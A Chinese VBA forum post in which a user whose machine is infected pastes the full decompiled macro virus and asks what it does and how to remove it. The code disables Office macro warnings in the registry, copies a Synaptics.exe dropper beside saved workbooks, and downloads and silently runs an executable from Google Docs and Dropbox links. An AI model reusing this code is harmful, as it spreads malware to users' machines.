|
|
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用 · 内置多项VBA编程加强工具 ★ 免费下载 ★ ★ 使用手册★
最近我的电脑应该是中了宏病毒，现象是：朋友微信发xls文件给我，我一下载到桌面自动变成xlsm格式。我自己在桌面新建一个xls文件，马上变成xlsm格式，然后想进去看vba代码，提示要输入密码，无法查看代码。保存工作薄时，在单元格还要自动输入一个c ,我做了的表格发给同事，同事都打不开了，严重影响我的正常工作。我找方法破解了VBA密码,查看到了病毒代码,我对VBA代码还不是很熟，在学习阶段，特此把病毒代码发出来，请各高手帮我看看，这病毒宏代码都干了些什么事情，我该如何彻底清除，以及以后如何防范，谢谢老师！
病毒代码如下：
Dim SheetsChanged As Boolean
Dim SheetCount As Integer
Private Sub Workbook_Open()
Dim i As Integer
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"
RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"
Application.DisplayAlerts = False
SheetCount = Worksheets.Count
Call MPS
ActiveWorkbook.Sheets(1).Select
SheetsChanged = False
End Sub
Private Sub Workbook_BeforeClose(Cancel As Boolean)
If Not SheetsChanged Then
ActiveWorkbook.Saved = True
End If
End Sub
Private Sub Workbook_SheetChange(ByVal Sh As Object, ByVal Target As Range)
SheetsChanged = True
End Sub
Private Sub Workbook_NewSheet(ByVal Sh As Object)
SheetsChanged = True
End Sub
Private Sub Workbook_SheetActivate(ByVal Sh As Object)
If ActiveWorkbook.Sheets.Count <> SheetCount Then
SheetsChanged = True
SheetCount = ActiveWorkbook.Sheets.Count
End If
End Sub
Private Sub Workbook_BeforeSave(ByVal SaveAsUI As Boolean, Cancel As Boolean)
Dim i As Integer
Dim AIndex As Integer
Dim FName
AIndex = ActiveWorkbook.ActiveSheet.Index
If SaveAsUI = False Then
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
ActiveWorkbook.Save
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
Else
Cancel = True
Application.EnableEvents = False
Application.ScreenUpdating = False
For i = 1 To ActiveWorkbook.Sheets.Count - 1
ActiveWorkbook.Sheets(i).Visible = xlSheetHidden
Next i
FName = Application.GetSaveAsFilename(fileFilter:="Excel 莂lma Kitab?(*.xlsm), *.xlsm")
If FName <> False Then
ActiveWorkbook.SaveAs Filename:=FName, FileFormat:=xlOpenXMLWorkbookMacroEnabled
SaveAsInj ActiveWorkbook.Path
End If
For i = 1 To ActiveWorkbook.Sheets.Count
ActiveWorkbook.Sheets(i).Visible = xlSheetVisible
Next i
ActiveWorkbook.Sheets(AIndex).Select
SheetsChanged = False
Application.ScreenUpdating = True
Application.EnableEvents = True
End If
End Sub
Sub SaveAsInj(DIR As String)
Dim FSO As Object
Dim FN As String
Set FSO = CreateObject("scripting.filesystemobject")
FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
If FSO.FileExists(FN) Then
If Not FSO.FileExists(DIR & "\~$cache1") Then
FileCopy FN, DIR & "\~$cache1"
End If
SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem
End If
End Sub
Function RegKeyRead(i_RegKey As String) As String
Dim myWS As Object
On Error Resume Next
Set myWS = CreateObject("WScript.Shell")
RegKeyRead = myWS.RegRead(i_RegKey)
End Function
Function RegKeyExists(i_RegKey As String) As Boolean
Dim myWS As Object
On Error GoTo ErrorHandler
Set myWS = CreateObject("WScript.Shell")
myWS.RegRead i_RegKey
RegKeyExists = True
Exit Function
ErrorHandler:
RegKeyExists = False
End Function
Sub RegKeySave(i_RegKey As String, _
i_Value As String, _
Optional i_Type As String = "REG_SZ")
Dim myWS As Object
Set myWS = CreateObject("WScript.Shell")
myWS.RegWrite i_RegKey, i_Value, i_Type
End Sub
Sub MPS()
Dim FSO As Object
Dim FP(1 To 3), TMP, URL(1 To 3) As String
Set FSO = CreateObject("scripting.filesystemobject")
FP(1) = ActiveWorkbook.Path & "\~$cache1"
FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"
URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
TMP = Environ("Temp") & "\~$cache1.exe"
If FSO.FileExists(FP(1)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(1), TMP
End If
Shell TMP, vbHide
ElseIf FSO.FileExists(FP(2)) Then
If Not FSO.FileExists(TMP) Then
FileCopy FP(2), TMP
End If
Shell TMP, vbHide
Else
If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
ElseIf Not FSO.FileExists(TMP) Then
If FDW((URL(1)), (TMP)) Then
ElseIf FDW((URL(2)), (TMP)) Then
ElseIf FDW((URL(3)), (TMP)) Then
End If
If FSO.FileExists(TMP) Then
Shell TMP, vbHide
End If
Else
Shell TMP, vbHide
End If
End If
End Sub
Function FDW(MYU, NMA As String) As Boolean
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
If WinHttpReq Is Nothing Then
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
End If
WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
WinHttpReq.Option(6) = AllowRedirects
WinHttpReq.Open "GET", MYU, False
WinHttpReq.Send
If (WinHttpReq.Status = 200) Then
If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then
FDW = True
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile (NMA)
oStream.Close
Else
FDW = False
End If
Else
FDW = False
End If
End Function
|
|
沪公网安备 31011702000001号 沪ICP备11019229号-2
发表于 2020-4-1 16:27
